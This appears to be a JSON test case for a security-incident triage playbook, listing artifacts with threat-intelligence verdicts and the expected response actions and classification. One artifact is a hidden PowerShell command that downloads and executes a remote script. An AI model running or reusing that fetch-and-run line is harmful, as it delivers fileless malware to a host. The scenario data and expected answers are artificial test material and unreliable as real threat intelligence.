{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"192.168.1.10","is_critical":true,"osint_result":{"source":"Internal Analysis","verdict":"internal","details":"Internal IP address of compromised host"}},{"id":"artifact_2","type":"ip","value":"203.0.113.200","is_critical":true,"osint_result":{"source":"AbuseIPDB","verdict":"malicious","details":"IP reported 1023 times for C2 activities"}},{"id":"artifact_3","type":"command","value":"powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString('https://slack.com/api/secret'))","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Suspicious PowerShell command indicative of fileless malware"}},{"id":"artifact_4","type":"hash","value":"e99a18c428cb38d5f260853678922e03","is_critical":false,"osint_result":{"source":"VirusTotal","verdict":"malicious","details":"Hash matches known malware sample associated with APT activity"}}],"expected_actions":["isolate_host","block_ip","collect_forensics"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"The use of Slack as a C2 channel and the memory-only payload suggests a sophisticated APT attack leveraging legitimate services."}